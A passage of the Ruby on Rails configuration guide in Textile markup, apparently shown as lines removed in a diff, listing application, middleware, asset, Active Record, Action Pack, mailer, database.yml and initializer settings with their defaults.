frameworks and any other registered namespace. - -* +config.eager_load_namespaces+ registers namespaces that are eager loaded when +config.eager_load+ is true. All namespaces in the list must respond to the +eager_load!+ method. - -* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the +app+ directory of the application. - -* +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8. - -* +config.exceptions_app+ sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to +ActionDispatch::PublicExceptions.new(Rails.public_path)+. - -* +config.file_watcher+ the class used to detect file updates in the filesystem when +config.reload_classes_only_on_change+ is true. Must conform to +ActiveSupport::FileUpdateChecker+ API. - -* +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. - -* +config.force_ssl+ forces all requests to be under HTTPS protocol by using +ActionDispatch::SSL+ middleware. - -* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+. - -* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. - -* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode. - -* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below. - -* +config.queue+ configures a different queue implementation for the application. Defaults to +ActiveSupport::SynchronousQueue+. Note that, if the default queue is changed, the default +queue_consumer+ is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s). - -* +config.queue_consumer+ configures a different consumer implementation for the default queue. Defaults to +ActiveSupport::ThreadedQueueConsumer+. - -* +config.reload_classes_only_on_change+ enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If +config.cache_classes+ is true, this option is ignored. - -* +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+. - -* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app. - -* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: - -<ruby> -config.session_store :my_custom_store -</ruby> - -This custom store must be defined as +ActionDispatch::Session::MyCustomStore+. - -* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record. - -* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments. - -h4. Configuring Assets - -Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful. - -* +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+. - -* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+. - -* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem. - -* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively. - -* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. - -* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run. - -* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+. - -* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+. - -* +config.assets.debug+ disables the concatenation and compression of assets. Set to +true+ by default in +development.rb+. - -* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+. - -* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store. - -* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. - -* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production. - -* +config.assets.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to the same configured at +config.logger+. Setting +config.assets.logger+ to false will turn off served assets logging. - -h4. Configuring Generators - -Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block: - -<ruby> -config.generators do |g| - g.orm :active_record - g.test_framework :test_unit -end -</ruby> - -The full set of methods that can be used in this block are as follows: - -* +assets+ allows to create assets on generating a scaffold. Defaults to +true+. -* +force_plural+ allows pluralized model names. Defaults to +false+. -* +helper+ defines whether or not to generate helpers. Defaults to +true+. -* +integration_tool+ defines which integration tool to use. Defaults to +nil+. -* +javascripts+ turns on the hook for JavaScript files in generators. Used in Rails for when the +scaffold+ generator is run. Defaults to +true+. -* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+. -* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default. -* +performance_tool+ defines which performance tool to use. Defaults to +nil+. -* +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+. -* +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+. -* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is run, but this hook can be used in other generates as well. Defaults to +true+. -* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+. -* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default. -* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+. - -h4. Configuring Middleware - -Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: - -* +ActionDispatch::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+. -* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+. -* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when +config.cache_classes_+ is +false+. -* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. -* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request. -* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs. -* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless. -* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method. -* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings. -* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+. -* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request. -* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+. -* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned. -* +ActionDispatch::Cookies+ sets cookies for the request. -* +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+. -* +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value. -* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+. -* +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. -* +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so. -* +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly. - -Besides these usual middleware, you can add your own by using the +config.middleware.use+ method: - -<ruby> -config.middleware.use Magical::Unicorns -</ruby> - -This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another. - -<ruby> -config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns -</ruby> - -There's also +insert_after+ which will insert a middleware after another: - -<ruby> -config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns -</ruby> - -Middlewares can also be completely swapped out and replaced with others: - -<ruby> -config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns -</ruby> - -They can also be removed from the stack completely: - -<ruby> -config.middleware.delete ActionDispatch::BestStandardsSupport -</ruby> - -h4. Configuring i18n - -* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+. - -* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+. - -h4. Configuring Active Record - -<tt>config.active_record</tt> includes a variety of configuration options: - -* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging. - -* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices: -** +:table_name+ would make the primary key for the Customer class +customerid+ -** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+ - -* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string. - -* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string. - -* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table. - -* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails. - -* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements. - -* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application. - -* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default. - -* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app. - -* +config.active_record.auto_explain_threshold_in_seconds+ configures the threshold for automatic EXPLAINs (+nil+ disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode. - -* +config.active_record.mass_assignment_sanitizer+ will determine the strictness of the mass assignment sanitization within Rails. Defaults to +:strict+. In this mode, mass assigning any non-+attr_accessible+ attribute in a +create+ or +update_attributes+ call will raise an exception. Setting this option to +:logger+ will only print to the log file when an attribute is being assigned and will not raise an exception. - -The MySQL adapter adds one additional configuration option: - -* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default. - -The schema dumper adds one additional configuration option: - -* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+. - -h4. Configuring Action Controller - -<tt>config.action_controller</tt> includes a number of configuration settings: - -* +config.action_controller.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. - -* +config.action_controller.asset_path+ takes a block which configures where assets can be found. Shorter version of +config.action_controller.asset_path+. - -* +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files. - -* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+. - -* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production. - -* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8". - -* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging. - -* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default. - -* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes. - -* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+. - -The caching code adds two additional settings: - -* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). - -* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+. - -h4. Configuring Action Dispatch - -* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class. - -* +config.action_dispatch.default_headers+ is a hash with HTTP headers that are set by default in each response. By default, this is defined as: - -<ruby> -config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' } -</ruby> - -* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+. - -* +ActionDispatch::Callbacks.before+ takes a block of code to run before the request. - -* +ActionDispatch::Callbacks.to_prepare+ takes a block to run after +ActionDispatch::Callbacks.before+, but before the request. Runs for every request in +development+ mode, but only once for +production+ or environments with +cache_classes+ set to +true+. - -* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request. - -h4. Configuring Action View - -<tt>config.action_view</tt> includes a small number of configuration settings: - -* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is - -<ruby> -Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe } -</ruby> - -* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a +String+ - -* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to +nil+ to disable logging. - -* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information. - -* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as: - -<ruby> -config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) } -</ruby> - -However, you may add to this by defining others: - -<ruby> -config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls'] -</ruby> - -And can reference in the view with the following code: - -<ruby> -<%= javascript_include_tag :prototype %> -</ruby> - -* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such: - -<ruby> -<%= stylesheet_link_tag :special %> -</ruby> - -* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running. - -* +config.action_view.embed_authenticity_token_in_remote_forms+ allows you to set the default behavior for +authenticity_token+ in forms with +:remote => true+. By default it's set to false, which means that remote forms will not include +authenticity_token+, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the +meta+ tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass +:authenticity_token => true+ as a form option or set this config setting to +true+ - -* +config.action_view.prefix_partial_path_with_controller_namespace+ determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named +Admin::PostsController+ which renders this template: - -<erb> -<%= render @post %> -</erb> - -The default setting is +true+, which uses the partial at +/admin/posts/_post.erb+. Setting the value to +false+ would render +/posts/_post.erb+, which is the same behavior as rendering from a non-namespaced controller such as +PostsController+. - -h4. Configuring Action Mailer - -There are a number of settings available on +config.action_mailer+: - -* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging. - -* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options: -** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting. -** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it. -** +:domain+ - If you need to specify a HELO domain, you can do it here. -** +:user_name+ - If your mail server requires authentication, set the username in this setting. -** +:password+ - If your mail server requires authentication, set the password in this setting. -** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+. - -* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options: -** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+. -** +:arguments+ - The command line arguments. Defaults to +-i -t+. - -* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true. - -* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+. - -* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. - -* +config.action_mailer.default_options+ configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: -<ruby> -:mime_version => "1.0", -:charset => "UTF-8", -:content_type => "text/plain", -:parts_order => [ "text/plain", "text/enriched", "text/html" ] -</ruby> - -* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered. -<ruby> -config.action_mailer.observers = ["MailObserver"] -</ruby> - -* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent. -<ruby> -config.action_mailer.interceptors = ["MailInterceptor"] -</ruby> - -* +config.action_mailer.queue+ registers the queue that will be used to deliver the mail. -<ruby> -config.action_mailer.queue = SomeQueue.new -</ruby> - -h4. Configuring Active Support - -There are a few configuration options available in Active Support: - -* +config.active_support.bare+ enables or disables the loading of +active_support/all+ when booting Rails. Defaults to +nil+, which means +active_support/all+ is loaded. - -* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to +false+. - -* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to +true+. - -* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. - -* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations. - -* +ActiveSupport::Deprecation.behavior+ alternative setter to +config.active_support.deprecation+ which configures the behavior of deprecation warnings for Rails. - -* +ActiveSupport::Deprecation.silence+ takes a block in which all deprecation warnings are silenced. - -* +ActiveSupport::Deprecation.silenced+ sets whether or not to display deprecation warnings. - -* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+. - -h4. Configuring a Database - -Just about every Rails application will interact with a database. The database to use is specified in a configuration file called +config/database.yml+. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default: - -* The +development+ environment is used on your development/local computer as you interact manually with the application. -* The +test+ environment is used when running automated tests. -* The +production+ environment is used when you deploy your application for the world to use. - -TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named <tt>--database</tt>. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below. - -h5. Configuring an SQLite3 Database - -Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. - -Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment: - -<yaml> -development: - adapter: sqlite3 - database: db/development.sqlite3 - pool: 5 - timeout: 5000 -</yaml> - -NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. - -h5. Configuring a MySQL Database - -If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section: - -<yaml> -development: - adapter: mysql2 - encoding: utf8 - database: blog_development - pool: 5 - username: root - password: - socket: /tmp/mysql.sock -</yaml> - -If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. - -h5. Configuring a PostgreSQL Database - -If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: - -<yaml> -development: - adapter: postgresql - encoding: unicode - database: blog_development - pool: 5 - username: blog - password: -</yaml> - -Prepared Statements can be disabled thus: - -<yaml> -production: - adapter: postgresql - prepared_statements: false -</yaml> - -h5. Configuring an SQLite3 Database for JRuby Platform - -If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: - -<yaml> -development: - adapter: jdbcsqlite3 - database: db/development.sqlite3 -</yaml> - -h5. Configuring a MySQL Database for JRuby Platform - -If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: - -<yaml> -development: - adapter: jdbcmysql - database: blog_development - username: root - password: -</yaml> - -h5. Configuring a PostgreSQL Database for JRuby Platform - -If you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section: - -<yaml> -development: - adapter: jdbcpostgresql - encoding: unicode - database: blog_development - username: blog - password: -</yaml> - -Change the username and password in the +development+ section as appropriate. - -h3. Rails Environment Settings - -Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails: - -* +ENV["RAILS_ENV"]+ defines the Rails environment (production, development, test, and so on) that Rails will run under. - -* +ENV["RAILS_RELATIVE_URL_ROOT"]+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory. - -* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets. - -* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application. - - -h3. Using Initializer Files - -After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts. - -NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down. - -TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, +01_critical.rb+ will be loaded before +02_normal.rb+. - -h3. Initialization events - -Rails has 5 initialization events which can be hooked into (listed in the order that they are run): - -* +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens. - -* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process. - -* +to_prepare+: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+. - -* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the +production+ environment and not for the +development+ environment. - -* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run. - -To define an event for these hooks, use the block syntax within a +Rails::Application+, +Rails::Railtie+ or +Rails::Engine+ subclass: - -<ruby> -module YourApp - class Application < Rails::Application - config.before_initialize do - # initialization code goes here - end - end -end -</ruby> - -Alternatively, you can also do it through the +config+ method on the +Rails.application+ object: - -<ruby> -Rails.application.config.before_initialize do - # initialization code goes here -end -</ruby> - -WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called. - -h4. +Rails::Railtie#initializer+ - -Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support: - -<ruby> -initializer "active_support.initialize_whiny_nils" do |app| - require 'active_support/whiny_nil' if app.config.whiny_nils -end -</ruby> - -The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_. - -Initializers defined using the +initializer+ method will be ran in the order they are defined in, with the exception of ones that use the +:before+ or +:after+ methods. - -WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order. - -The block argument of the +initializer+ method is the instance of the application itself, and so we can access the configuration on it by using the +config+ method as done in the example. - -Because +Rails::Application+ inherits from +Rails::Railtie+ (indirectly), you can use the +initializer+ method in +config/application.rb+ to define initializers for the application. - -h4. Initializers - -Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated). - -*+load_environment_hook+* -Serves as a placeholder so that +:load_environment_config+ can be defined to run before it. - -*+load_active_support+* Requires +active_support/dependencies+ which sets up the basis for Active Support. Optionally requires +active_support/all+ if +config.active_support.bare+ is un-truthful, which is the default. - -*+initialize_logger+* Initializes the logger (an +ActiveSupport::BufferedLogger+ object) for the application and makes it accessible at +Rails.logger+, provided that no initializer inserted before this point has defined +Rails.logger+. - -*+initialize_cache+* If +Rails.cache+ isn't set yet, initializes the cache by referencing the value in +config.cache_store+ and stores the outcome as +Rails.cache+. If this object responds to the +middleware+ method, its middleware is inserted before +Rack::Runtime+ in the middleware stack. - -*+set_clear_dependencies_hook+* Provides a hook for +active_record.set_dispatch_hooks+ to use, which will run before this initializer. This initializer -- which runs only if +cache_classes+ is set to +false+ -- uses +ActionDispatch::Callbacks.after+ to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request. - -*+initialize_dependency_mechanism+* If +config.cache_classes+ is true, configures +ActiveSupport::Dependencies.mechanism+ to +require+ dependencies rather than +load+ them. - -*+bootstrap_hook+* Runs all configured +before_initialize+ blocks. - -*+i18n.callbacks+* In the development environment, sets up a +to_prepare+ callback which will call +I18n.reload!+ if any of the locales have changed since the last request. In production mode this callback will only run on the first request. - -*+active_support.initialize_whiny_nils+* Requires +active_support/whiny_nil+ if +config.whiny_nils+ is true. This file will output errors such as: - -<plain> - Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id -</plain> - -And: - -<plain> -You have a nil object when you didn't expect it! -You might have expected an instance of Array. -The error occurred while evaluating nil.each -</plain> - -*+active_support.deprecation_behavior+* Sets up deprecation reporting for environments, defaulting to +:log+ for development, +:notify+ for production and +:stderr+ for test. If a value isn't set for +config.active_support.deprecation+ then this initializer will prompt the user to configure this line in the current environment's +config/environments+ file. Can be set to an array of values. - -*+active_support.initialize_time_zone+* Sets the default time zone for the application based on the +config.time_zone+ setting, which defaults to "UTC". - -*+action_dispatch.configure+* Configures the +ActionDispatch::Http::URL.tld_length+ to be set to the value of +config.action_dispatch.tld_length+. - -*+action_view.cache_asset_ids+* Sets +ActionView::Helpers::AssetTagHelper::AssetPaths.cache_asset_ids+ to +false+ when Active Support loads, but only if +config.cache_classes+ is too. - -*+action_view.javascript_expansions+* Registers the expansions set up by +config.action_view.javascript_expansions+ and +config.action_view.stylesheet_expansions+ to be recognized by Action View and therefore usable in the views. - -*+action_view.set_configs+* Sets up Action View by using the settings in +config.action_view+ by +send+'ing the method names as setters to +ActionView::Base+ and passing the values through. - -*+action_controller.logger+* Sets +ActionController::Base.logger+ -- if it's not already set -- to +Rails.logger+. - -*+action_controller.initialize_framework_caches+* Sets +ActionController::Base.cache_store+ -- if it's not already set -- to +Rails.cache+. - -*+action_controller.set_configs+* Sets up Action Controller by using the settings in +config.action_controller+ by +send+'ing the method names as setters to +ActionController::Base+ and passing the values through. - -*+action_controller.compile_config_methods+* Initializes methods for the config settings specified so that they are quicker to access. - -*+active_record.initialize_timezone+* Sets +ActiveRecord::Base.time_zone_aware_attributes+ to true, as well as setting +ActiveRecord::Base.default_timezone+ to UTC. When attributes are read from the database, they will be converted into the time zone specified by +Time.zone+. - -*+active_record.logger+* Sets +ActiveRecord::Base.logger+ -- if it's not already set -- to +Rails.logger+. - -*+active_record.set_configs+* Sets up Active Record by using the settings in +config.active_record+ by +send+'ing the method names as setters to +ActiveRecord::Base+ and passing the values through. - -*+active_record.initialize_database+* Loads the database configuration (by default) from +config/database.yml+ and establishes a connection for the current environment. - -*+active_record.log_runtime+* Includes +ActiveRecord::Railties::ControllerRuntime+ which is responsible for reporting the time taken by Active Record calls for the request back to the logger. - -*+active_record.set_dispatch_hooks+* Resets all reloadable connections to the database if +config.cache_classes+ is set to +false+. - -*+action_mailer.logger+* 